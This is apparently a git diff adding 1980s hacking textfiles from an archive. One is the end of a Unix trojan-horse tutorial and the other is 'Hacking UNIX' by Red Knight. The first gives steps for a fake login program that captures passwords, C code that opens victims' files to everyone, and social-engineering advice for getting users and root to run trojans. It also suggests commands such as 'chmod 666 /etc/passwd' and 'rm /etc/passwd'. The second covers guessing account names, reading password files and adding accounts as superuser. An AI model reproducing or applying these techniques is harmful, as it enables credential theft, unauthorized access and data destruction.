Source Ends Here ----- + + OK, as I said, enter the above and configure it so it looks exactly like +your system's login sequence. To compile this program called 'horse.c' type +the following two lines: (don't type the %'s, they are just a sample prompt) + +% cc horse.c -lcurses -ltermcap +% mv a.out horse + +You now have the working object code in a file called 'horse'. Run it, and if +it doesn't look like your systems logon sequence, re-edit horse.c and +recomplie it. When you're ready to put the program into use, create a new +file and call it 'trap' or something. 'trap' should have these two commands: + +horse (this runs your program) +login (this runs the real login program) + +to execute 'trap' type: + +% source trap (again, don't type the %) + +and walk away from your terminal... + +After you've run it successfully a few times, check your file called +'stuff' (or whatever you decided to call it). It will look like this: + +user john has password secret +user mary has password smegma +etc. + +Copy down these passwords, then delete this file (it can be VERY incriminating +if the superuser sees it). + +Note - for best results your terminal should be set to time-out after a few +minutes of non-use - that way, your horse program doesn't run idle for 14 +hours if nobody uses the terminal you ran it on. + +----- + +The next projects can be run on a remote system, such as the VAX in Michigan +you've hacked into, or Dartmouth's UNIX system, or whatever. However, they +require a little knowledge of the 'C' language. They're not something for +UNIX novices. + +Project Two: Reading Anybody's Files +------------------------------------- + +When somebody runs a program, they're the owner of the process created and +that program can do anything they would do, such as delete a file in their +directory or making a file of theirs available for reading by anybody. + +When people save old mail they get on a UNIX system, it's put into a file +called mbox in their home directory. This file can be fun to read but is +usually impossible for anybody but the file's owner to read. Here is a short +program that will unlock (i.e. chmod 777, or let anybody on the system read, +write or execute) the mbox file of the person who runs the program: + +----- Code Begins Here ----- + +#include + +struct passwd *getpwnam(name); +struct passwd *p; +char buf[255]; + +main() +{ +p = getpwnam(getlogin()); +sprintf(buf,"%s/%s",p->pw_dir,"mbox"); +if ( access(buf,0) > -1 ) { + sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox"); + system(buf); + } +} + +----- Code Ends Here ----- + +So the question is: How do I get my target to run this program that's +in my directory? + +If the system you're on has a public-messages type of thing (on 4.xbsd, type +'msgs') you can advertise your program there. Put the above code in another +program - find a utility or game program in some magazine like UNIX WORLD and +modify it and do the above before it does it's real thing. So if you have a +program called tic-tac-toe and you've modified it to unlock the mbox file of +the user before it plays tic-tac-toe with him, advertise "I have a new tic- +tac-toe program running that you should all try. It's in my directory." or +whatever. If you don't have means of telling everybody on the system via a +public message, then just send mail to the specific people you want to trap. + +If you can't find a real program to modify, just take the above program and +add this line between the two '}' lines at the end of the program: + +printf("Error opening tic-tac-toe data file. Sorry!\n"); + +when the program runs, it will print the above error message. The user will +think "Heh, that dude doesn't know how to write a simple tic-tac-toe program!" +but the joke's on him - you can now read his mail. + +If there's a specific file in a user's directory that you'd like to read (say +it's called "secret") just throw together this general program: + + +main() +{ +if ( access("secret",0) > -1 ) system("chmod 777 secret"); +} + +then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program +called super_star_wars, will you try it out?" + +You can use your imagination. Think of a command you'd like somebody to +execute. Then put it inside a system() call in a C program and trick them +into running your program! + +Here's a very neat way of using the above technique: + +Project Three: Become the superuser +----------------------------------- + +Write a program that you can get people to run. Put this line in it +somewhere: + +if ( !strcmp(getlogin(),"root") ) system("whatever you want"); + +This checks to see if the root login is running your program. If he is, you +can have him execute any shell command you'd like. Here are some suggestions: + +"chmod 666 /etc/passwd" + + /etc/passwd is the system's password file. The root owns this file. +Normally, everyone can read it (the passwords are encrypted) but only the root +can write to it. Take a look at it and see how it's formatted if you don't +know already. This command makes it possible for you to now write to the file +- i.e. create unlimited accounts for yourself and your friends. + +"chmod 666 /etc/group" + + By adding yourself to some high-access groups, you can open many +doors. + +"chmod 666 /usr/lib/uucp/L.sys" + + Look for this file on your system if it is on the uucp net. It contains +dialups and passwords to other systems on the net, and normally only the uucp +administrator can read it. Find out who owns this file and get him to +unknowingly execute a program to unlock it for you. + +"rm /etc/passwd" + + If you can get the root to execute this command, the system's passwd file +will be removed and the system will go down and will not come up for some time +to come. This is very destructive. + +----- + +If you are going to go about adding a trojan horse program to the system, +there are some rules you should follow. If the hidden purpose is something +major (such as unlocking the user's mbox or deleting all of his files or +something) this program shouldn't be a program that people will be running a +lot (such as a popular computer game) - once people discover that their files +are public access the source of the problem will be discovered quite easily. +Save this purpose for a 'test' program (such as a game you're in the process +of writing) that you ask individual people to run via mail or 'chatting' with +them. As I said, this 'test' program can bomb or print a phony error message +after completing its task, and you will just tell the person "well, I guess +it needs more work", wait until they log off, and then read whatever file of +theirs that you've unlocked. If your trojan horse program's sole purpose is +to catch a specific user running it - such as the root or other high-powered +user - you can put the code to do so in a program that will be run a lot by +various users of the system. Your modification will remain dormant until he +runs it. If you can't find the source to 'star trek' or whatever in C, just +learn C and convert something from pascal. It can't hurt to learn C as it's a +great language. We've just seen what it can do on a UNIX system. Once you've +caught the root (i.e. you can now modify the /etc/passwd file) remove the +spurious code from your trojan horse program and you'll never be caught. \ No newline at end of file diff --git a/textfiles.com/hacking/UNIX/hack3.hac b/textfiles.com/hacking/UNIX/hack3.hac new file mode 100644 index 0000000000000000000000000000000000000000..e4d3f7580dbe37aa6de6d4c015f490c2cdca65ad GIT binary patch literal 7198 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 literal 0 HcmV?d00001 diff --git a/textfiles.com/hacking/UNIX/hacking_unix.txt b/textfiles.com/hacking/UNIX/hacking_unix.txt new file mode 100644 index 00000000..99751cb9 --- /dev/null +++ b/textfiles.com/hacking/UNIX/hacking_unix.txt @@ -0,0 +1,1094 @@ +] +*> Press [X] to Abort / [CR] to Continue: [] + +*> Title: Hacking UNIX +*> Date: 6/10/89 +*> Time: 12:20 pm + + + + + /|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\ + \|/ \|/ + /|\ /|\ + \|/ An Indepth Guide in Hacking UNIX and the \|/ + /|\ concept of Basic Networking Utility /|\ + \|/ ---------------------------------------- \|/ + /|\ By:Red Knight /|\ + \|/ Phreakers/Hackers Underground Network \|/ + /|\ /|\ + \|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/ + +Brief history on UNIX +---------------------- +Its because of Ken Tompson that today were able to Hack Unix.He used to work +for Bell Labs in the 60s.Tompson started out using the MULTICS OS which was +later eliminated and Tompson was left without an operating system to work with. +Tompson had to come up with something real quick.He did some research and +and in 1969 UNIX came out,which was a single user and it didn't have +many capabilities.A combined effort with others he rewrote the version +in C and added some good features.This version was out in 1973 and was +available to the public.This was the first begining of UNIX as its known +presently.The more refined version of UNIX,today know as UNIX system V +developed by Berkley University has unique capabilities. +Various types of UNIXes are CPIX,Berkeley Ver 4.1,Berkeley 4.2,FOS,Genix,HP-UX, +IS/I,OSx,PC-IX,PERPOS,Sys3,Ultrix,Zeus,Xenix,UNITY,VENIX,UTS,Unisys,Uniplus+, +UNOS,Idris,QNIX,Coherent,Cromix,System III,System 7,Sixth edition. + +The article it self: +-------------------- +I believe that hacking into any system requires knowledge of the Operating +system itself.Basically what I will try to do is make you more familiar with +UNIX operation ,its usefull commands that will be advantageous to you as a +hacker.This article contains in depth explainations. + +Error Messages that one may came across:[UNIX system V] +---------------------------------------- +Login incorrect - An ivalid ID and/or pw was entered.This means nothing. + In UNIX there is no way guessing valid user IDs.You may + come across this one when trying to get in. +No more logins - will happens when the system wont accept anymore logins + could be going down +Unknown Id - will happen if an ivalid id is entered using (su) command +Unexpected eof in file - The file being stripped file has been damaged +Your password has expired - This is quiet rare although there have been cases + where it happened.Reading the etc/passwd will + show you at how many intervals it changes. +You may not change the password - The password has not yet aged enough.The + Administrator set the quotas for the users +Unknown group [groups name] - occurs when chgrp is executed ,group doesn't + exist +Sorry - Indicated that you have typed in an invalid super user password(execu- + tion of the su) +Permission denied!- Indicated you must be the owner or a super user to change + password. +Sorry <[# of weeks] since last change - This will happen when password has + has not aged enough and you tried to + change it(passwd) +[directory name]:no permission - You are trying to remove a directory which + you have no permission to. +[file name] not removed - trying to delete a file owned by another user + that you dont have write pemision for. +[dirname] not removed - ownership of the dir is not your that your trying to + delete. +[dirname] not empty - the directory contains files so you must have to delete + the files before executing the rmdir +[command] not found - you have entered an ivalid command not know to UNIX +cant execute pwd - some thing wrong with the system cant execute pwd command +cannot chdir to .. - (.. one level up) permision is required to execute pwd + above the current directory +cant open [file name] - defined wrong path,file name or you have no read + permission +cp:[file name] and [file name] are identical - self explanatory +cannot locate parent directory - occurs when using mv +[file name] not found - file which your trying to move doesn't exsist +You have mail - Self explanatory + +Basic Networking Utility error messages +--------------------------------------- +cu:not found - networking not installed +login failed - invalid id/pw or wrong # specified +dial failed - the systen never answered due to a wrong # +uucp completely failed - did not specify file after -s +wrong time to call - you called at the time at a time not specified in the + Systems file +system not in systems - you called a remote not in the systems file + +Logon format : first thing one must do is switch to lower case +-------------- +Identifing a UNIX.Here is what you'll see: +Some times there will be no system identifer + +AT&T UNIX SysVR3.0 (eg of a system identifier) + +login: + or +Login: + +Any of these is a UNIX.Here is where you will have to guess at a user valid +id.Here are some that I have come across eg( glr,glt,radgo,rml,chester,cat, +lom,cora,hlto,hwill,edcasey and also some containing numbers smith1,mitu6 or +special characters in it like bremer$,j#fox.Login names have to be 3 to 8 +chracters in lenght lowercase and must start with a letter.In some XENIX +systems one may login as "guest" + +User level accounts:(lower case) +-------------------- +In Unix they have whats called accounts .These +accounts can be used at the "login:" prompt. +Here is a list: + +sys +bin +trouble +daemon +uucp +nuucp +rje +lp +adm +listen - if starlan is installed + +Super-user accounts: +-------------------- +And then there are super-user login which make UNIX worth hacking. +The accounts are used for a specific job. In large systems these logins +are assingned to users who have a responsibilty to maintain subsystems. + +They are as follows :(all lower case) + +root - this is a must the system comes configured with it.It has no + restriction.Has power over every other account. +unmountsys - unmounts files +setup - system set up +makefsys - makes a new file +sysadm - allows useful S.A commands(doesn't need root login) +powerdown - powering system down +mountfsys - mounts files +checkfsys - checks file + +These accounts will definitly have passwords assigned to them.These +accounts are also commands used by the system administrator. + +Here are some examples of accounts I have seen: + +cron uuhelp usenet +anonuccp news network +bellboy lp vector +guest games ninja +vote warble sysinfo + + + +After the login prompt you will receive a password prompt: + +password: + or +Password: + +Enter the password (it wont echo).The password rule is as follows:Each pw +has to contain at least 6 characters and maximum has to be 8 .Two of which are +to be alphabetic letters and at least one being a number or a special character +The alphabetic digits could be in upper case or lower case.Here are some of the +passwords that I have seen (eg.Ansuya1,PLAT00N6,uFo/78,ShAsHi..,Div417co) + +The passwords for the super user accounts will be difficult to hack +try the accounts interchangebly eg.login:sysadm password:makefsys or rje1, +sysop,sysop1,bin4 or they might contain letter,numbers,special chracters in +them.It could be anything.The user passwords are changed by an aging proccess +at successive intervals.The users are forced to changed it.The super-user +will pick a password that wont need changing for a long period of time. + +You have made it! +----------------- +The hard part is over and hopefully you have hacked a super-user account. +Remember Control-d stops a process and also logs you off. +The next thing you'll probably see is the system news +eg. + +login:john +password:hacker1 +System news +There will be no networking offered to the users till +august 15,due to hardware problems. +(just an example) + +$ + +$ is the Unix prompt -waiting for a command to be entered.I will use this + throught the article to show outouts etc..(Its not + part of the command) +# - means your logged in as root(very good) + +A word about the XENIX System III:(run on the tandy 6000) +--------------------------------- +The largest weakness in the XENIX System III occurs after the installation +of the Profile-16 or more commonly know as the filepro-16.I have seen the +filepro-16 installed in many systems. +The installation process creates an entry in the password file for a user +named \fBprofile\fR ,an account that who owns and administors the database. +The great thing about it is that when the account is created ,no password is +assigned to it.The database contains executable to maintain it.The database +creation programs perform a \fBsetuid\fR to boot up the \fBoot\fR there by +giving a person the whole C Shell to gain Super User privilege same as root. +Intresting huh! + + +* Note: First the article will inform you of how the Unix is made up + +The Unix is made if three components-The shell,the kernal,file system. + +The kernal: +----------- +You could say that the kernal is the heart of the Unix operating system. +The kernal is a low level language lower than the shell which maintains +processes .The kernal handles memory usage ,maintains file system +the sofware and hardware devices. + +The shell: +---------- +The shell a higher level language. The shell had two important uses, +to act as command interpreture for example using commands like cat,who, +ls the the shell is at work figuring out whether you have entered a command +correctly or not.The second most important reason for the shell is its ability +to be used as programing language.Suppose your performing some tasks +repeatedly over and over again,You can program the shell to do this for you. + +The file system: +--------------- +The file system in Unix is divede into 3 catagories:Directories,ordinary files +and special files.(d,-) + +Basic stucture: +(/)-this is abreviation for the root dirctory. + root level root + (/) system +-------------------------------------|----------------------------------level +| | | | | | | | +/unix /etc /dev /tmp /lib /usr /usr2 /bin + | _____|_____ +login passwd | | | +level /john /cathy + ________________________|_______________ + | | | | | | + .profile /mail /pers /games /bin /michelle +*.profile - in case | __|______ | __|_______ + you wich to change your enviroment capital | | data | | +but after you log off.It sets to othello starwars letter letter1 +default. + +the /unix-is the kernal +/etc - contains system administrators files,Most are not available to the + regular user.(this directory contains the /passwd file) + + Here are some files under /etc directory: + /etc/passwd + /etc/utmp + /etc/adm/sulog + /etc/motd + /etc/group + /etc/conf + /etc/profile + +/dev - contains files for physical devices such as printer and the disk drives +/tmp - temporary file directory +/lib - dirctory that contains programs for high level languages +/usr - this directory contains dirctories for each user on the system + + Eg. of a list of files under /usr + /usr/tmp + /usr/lib + /usr/docs + /usr/news + /usr/spool + /usr/spool/lp + /usr/lib/uucp + +/bin - contain executable programs (commands) + +The root also contains: +/bck - used to mount a back up file system. +/install - Used to install and remove utilities +/lost+found - This is where all the removed files go,This dir is used by fsck + (1M) +/save -A utility used to save data +/mnt - Used for temporary mounting + +**Now the fun part scouting around** + + Local commands (Explained in details) + ------------------------------------- +At the unix prompt type the pwd command-it will show you the current working +directory you are in. + +$ pwd +$ /usr/admin - assuming that you have hacked into a super user acc checkfsys +$ + +This gives you the full login directory.The / before tell you the location +of the root directory + +or + +(REFER TO THE DIAGRAM ABOVE) +$ pwd +$ /usr/john +$ +Assuming you have hacked into johns acc. + +Now lets say you wanted to move down to the michelle directory( you own this) +that contains letters.You would type in + +$ cd michelle or cd usr/john/michelle +$ pwd +$ /usr/john/michelle +$ + +Going back one directory up type in: +$ cd .. +or going to your parent directory just type in "cd" + +Listing file directories assuming you are in the parent directory: + +$ ls /usr/john +mail +pers +games +bin +michelle +This wont give you the .profile file .To view it type +$ cd +$ ls -a +: +: +.profile + +To list file names in michelles directory type in: +$ ls michelle (that if your in the johns directory) +$ ls /usr/john/michelle(parent dir) + +ls -l +----- +The ls -l is an an important command in unix.This command displays the whole +directory in long format :Run this in parent directory + +$ ls -l +total 60 +-rwxr-x--- 5 john bluebox 10 april 9 7:04 mail +drwx------ 7 john bluebox 30 april 2 4:09 pers + : : : : : : : + : : : : : : : +-rwxr-x--- 6 cathy bluebox 13 april 1 13:00 partys + : : : : : : : +$ + +The total 60 tells one the ammount of disk space used in a directory.The +-rwxr-x--- is read in triples of 3.The first chracter eg(-,d,b,c)-means as +follows: - is an ordinary file ,d is a directory,b is block file,c is a +chracter file. +The r stands for read permission,w is write permission,x is execute.The first +colum is read in 3 triples as stated above.The first group of 3 (in -rwxr-x---) +after the "-" specifies the permission for the owner of the file,the second +triple are for the groups (the fourth colum) and the last triple are the +permissions for all other users.Therefore the -rwxr-x--- is read as follows. +The owner john has permission to read,write and execute anything in the bin +directory but the group has no write permission to it and the rest of the users +have no permission at all.The format of one of the lines in the above output +is as follows: + +file type-permissions,links,usersname,group,bytes taken,date,time when last +renued,directory or file name. +**You will be able to read,execute cathys file named party due to the same +group*** + +chmod +----- +The chmod command changes permission of a directory or a file.Format is +chmod who+,-,=r,w,x +The who is substituted by u-user,g-group,o-other users,a-all. +The + means add permission,- means remove permission,= - assign. +Example :If you wanted all other users to read the file name mail ,type: + +$ chmod o+r mail + +cat +--- +Now suppose you wanted to read the file letter .There are teo ways to doing +this.First go to the michelle directory then type in: + +$ cat letter +line one ...\ +line two ... }the output of letter +line three../ +$ + or +If you are in the parent directory type in: +$ cat /usr/john/michelle/letter +and you will have the same output. + +Some cat options are -s,-u,-v,-e,-t + +Special Chracters in Unix: +------------------------- +* - matches any number of single characters eg. ls john* will list + all files that begin with john +[...] - matchs any one of the chracter in the [ ] +? - matches any single chracter +runs a process in the backgroung leaving your terminal free +$ - Values used for variables also $n - null argument +> - redirectes output +< - redirects input to come from a file +>> - redirects command to be added to the end of a file +| - pipe output (eg:who|wc-l tells us how many users are online) +"..." - Turn of meaning of special chracters excluding $,` +`...` - allows command output in to be used in a command line +'...' - turns of special meaning of all chracters + +continuation of local commands...[ ] -contains the options used +------------------------------- +passwd +------ +Password changing seems to be a big thing among the savants.Anyway to change +the password one would use the 'passwd' command as shown below: + + $passwd + Changing password for john + Old password: + New password: + Retype new password: + $ + +This will only work when the password has aged enough + +ps +-- +Its sometimes necessary to see what command procesess you are running,this +command lets you see that. +ps [-a all processes except group leaders] [-e all processes] [-f the whole + list] + + $ps + PID TTY TIME COMMAND + 200 tty09 14:20 ps + + The systems reports (PID - process idenetification number which is a # + from 1-30,000 assigned to UNIX processes) + It also reports the TTY,TIME and the COMMAND being executed at the time. + To stop a process enter : + + $kill [PID] (this case its 200) + 200 terminated + $ + +grep +---- +This comand is important when seaching for a word or words in large files. + +grep [argument] [file name] - searchs for an file that contains the argument + for example: + $ grep phone cathy + phone michelle (718)5551234 + phone cindy (718)5553456 + + What this did was to find the argument 'phone' in the file cathy.If the + argument consists of two or more words then it must be enclosed in single + quotes. + + +mv +-- +mv [file names(s)] [ dir name ] - renames a file or moves it to another + directory eg. + $mv letter letters + $ + This renames the file letter to letters thereby deleting letter + or if you want to move files then + $mv /usr/john/pers/capital /usr/john/michelle/capital + $ + This moves the file capital to the directory named michelle + +diff +---- +diff [file name] [ file name] - show diffrence between two files.Output of this + will have something like 4,5c4,5 then the it + will display both sets of files on the screen + The 4,5c4,5 means that you must change "c" + lines 4 to 5 in one file to line 4 to 5 in + another. + Option for using this command are : + -b - it ignores blank spaces + -h - compares it quickly + -s - reports files that are the same + -S[file] - this is when you want to compare a directory starting at a + specific file + + + There is also a command to compare 3 files which is : + + diff3 [options] [file1] [file2] [file3] + +cp +-- +cp [file name] [file name] - makes a copy of a file + + $ cp letter letters + $ + The file letters is a dupilcate copy of letter.In this case the original + is not erased like in the mv command + + + +.... more UNIX commands: +-------------------- + +man [command] or [c/r] -will give you a list of commands explainations + +help - available on some UNIX systems + +mkdir [dir name(s)] - makes a directory + +rmdir [dir name(s)] - removes directory.You wont be able to remove the + directory if it contains files in them + +rm [file name(s)] - removes files. rm * will erase all files in the current + dir.Be carefull you!!.Some options are : + [-f unconditional removal] [-i Prompts user for y or n] + +write [login name ] - to write to other logged in users.Sort of a chat + +mesg [-n] [-y] - doesn't allow others to send you messages using the write + command.Wall used by system adm overrides it. + +$ [file name] - to execute any file + +wc [file name] - Counts words,chracters,lines in a file + +stty [modes] - Set terminal I/O for the current devices + +sort [filename] - Sorts and merges files many options + +spell [file name] > [file name] - The second file is where the misspelt words + are entered + +date [+%m%d%y*] [+%H%%M%S] - Displays date acoording to options + +at [-r] [-l] [job] - Does a specified job at a specified time.The -r Removes + all previously scheduled jobs.The -l reports the job # + and status of all jobs scheduled + +write [login] [tty] - Sends message to the login name.Chat! + + + +su [login name] +--------------- +The su command allows one to switch user to a super user to a user.Very +important could be used to switch to super user accounts. +Usage: + +$ su sysadm +password: + +This su command will be monitored in /usr/adm/sulog and this file of all files +is carefully monitered by the system administrator.Suppose you hacked in johns +account and then switched to the sysadm account (ABOVE) your /usr/adm/sulog +entry would look like: + +SU 04/19/88 21:00 + tty 12 john-sysadm + +Therfore the S.A(system administrator) would know that john swithed to sysadm +account on 4/19/88 at 21:00 hours + +Searching for valid login names: +------------------------------- +Type in- +$ who ( command informs the user of other users on the system) +cathy tty1 april 19 2:30 +john tty2 april 19 2:19 +dipal tty3 april 19 2:31 +: +: +tty is the users terminal,date,time each logged on.dipal,john are valid +logins. + +Files worth concatenating(cat) +/etc/passwd file: +----------------- +The etc/passwd is a vital file to cat.For it contains login names of all +users including super user accounts and there passwords.In the newer +SVR3 releases they are tighting their security by moving the encrypted +passwords from /etc/passwd to /etc/shadow making it only readable by root. +This is optional offcourse. + +$ cat /etc/passwd +root:D943/sys34:0:1:0000:/: +sysadm:k54doPerate:0:0:administration:usr/admin:/bin/rsh +checkfsys:Locked;:0:0:check file system:/usr/admin:/bin/rsh +: +other super user accs. +: +john:chips11:34:3:john scezerend:/usr/john: +: +other users +: +$ +If you have reached this far capture this file as soon as posible. +This is a typical output etc/passwd file.The entries are seperated +by a ":".There made be up to 7 fields in each line. +Eg.sysadm account. +The first is the login name in this case sysadm.The second field contains the +password.The third field contains the user id."0 is the root".Then comes the +group id then the account which contains the user full name etc .The sixth +field is the login directory defines the full path name of the the particlar +account and the last is the program to be executed. +Now one can switch to other super user account using su command descibed above. +The password entry in the field of the checkfsys account in the above example +is "Locked;". This doesn't mean thats its a password but the account +checkfsys cannot be accessed remotely.The ";" acts as an unused encryption +chracter.A space is also used for the same purpose.You will find this in many +UNIX systems that are small systems where the system administrator handles +all maintaince. + +Password aging: +--------------- +If password aging is active the user is forced to change the password at +regular intervals.One may be able to tell just by looking at the /etc/passwd +file when the password is allowed to be changed and when it is compulsory to +change it. +For example the entry: + +john:chips11,43:34:3:John Scezerend:/usr/john: + +The password contains an extension of (,43) which mean that john can change has +to change the password atleast evert 6 weeks and can keep it for atleast 3 +week.The format used is [password],Mmww.The M is the maxiumum number of weeks +password has to be change and m is the minimum interval password can be changed +and the ww is indicates when the password was last changed. + + Aging chart: +---------|----------- +Character|# of weeks + . | 0 + / | 1 + 0-9 | 2-11 + A-Z | 12-37 + a-z | 38-63 +---------|----------- + +From the above anyone can determine the number of weeks one can chnage the +password. + +The (ww) is automatically added as to when the password was last changed . + +IF SHAWDOWING IS ACTIVE: +------------------------ + +If the shawdowing is active the /etc/passwd would look like this: + +root:x:0:1:0000:/: +sysadm:x:0:0:administration:/usr/admin:/bin/rsh + +The password filed is substituted by "x". + +The /etc/shawdow file only readable by root will look similar to +this: + +root:D943/sys34:5288:: +: +super user accounts +: +Cathy:masai1:5055:7:120 +: +all other users +: + +The first field contains users id:the second contains the password(The pw will +be NONE if logining in remotely is deactivated):the third contains a code of +when the password was last changed:the fourth and the fifth contains the +minimum and the maximum numbers of days for pw changes(Its rare that you will +find this in the super user logins due to there hard to guess passwords) + + +/etc/options directory +----------------------- +The etc/options dir will consists of utilities available in the system. +Example: +-rwxr-xr-x 1 root sys 40 april 1:00 uucp.name +uucp standing for BNU + +/etc/group +----------- +The file has each group on the system.Each line will have 4 entries separated +by a ":" . Example of concatenated /etc/group: + +root::0:root +adm::2:adm,root +bluebox::70: + +Group name:password:group id:login names +** It very unlikely that groups will have passwords assigned to them ** +The id "0" is assigned to / + +Sending and recieving messages: +------------------------------- +Two programs are used to manage this.They are mail & mailx.The difference +between them is that mailx is more fancier thereby giving you many choices +like replying message ,using editors etc. +Sending: +-------- +The basic format for using this command is: + +$mail [login(s)] +(now one would enter the text +after finishing enter "." a period +on the next blank line) +$ +This command is also used to send mail to remote systems.Suppose you wanted +to send mail to john on a remote called ATT01 +you would type in: + +$mail ATT01!john + +Mail can be sent to several users,just by entering more login name after +issuing the mail command + +Using mailx is the same format:(This I'll describe very briefly) +$mailx john +subject:(this lets you enter the subject) +(line #1) +(line #2) +(After you finish enter (~.) not the brackets offcourse ,more commands are +available like ~p,~r,~v,~m,~h,~b etc.) + +Receiving: +---------- +After you log on to the system you will the account may have mail waiting. +You will be notified "you have mail". +To read this enter: +$mail +(line #1) +(line #2) +(line #3) +? +$ +After the message you will be prompted with a question mark.Here you have a +choice to delete it by entering d,saving it to view it later s,or just press +enter to view the next message. +(DONT BE A SAVANT AND DELETE THE POOR GUYS MAIL) + +Super user commands: +-------------------- +$sysadm adduser - will take you through a routine to add a user + (may not last long) + +Enter this: + +$ sysadm adduser +password: +(this is what you will see) +/--------------------------------------------------------------------------\ + Process running succommmand `adduser` + USER MANAGMENT + + Anytime you want to quit, type "q". + If you are not sure how to answer any prompt, type "?" for help + + If a default appears in the question,press for the default. + + Enter users full name [?,q]: (enter the name you want) + Enter users login ID [?,q]:(the id you want to use) + Enter users ID number (default 50000) [?,q) [?,q]:( press return ) + Enter group ID number or group name:(any name from /etc/group) + Enter users login home directory:(enter /usr/name) + + This is the information for the new login: + Users name: (name) + login ID:(id) + users ID:50000 + group ID or name: + home directory:/usr/name + Do you want to install,edit,skip [i,e,s,q]? (enter your choice if "i" then) + Login installed + Do you want to give the user a password?[y,n] (its better to enter one) + New password: + Re-enter password: + + Do you want to add another login? 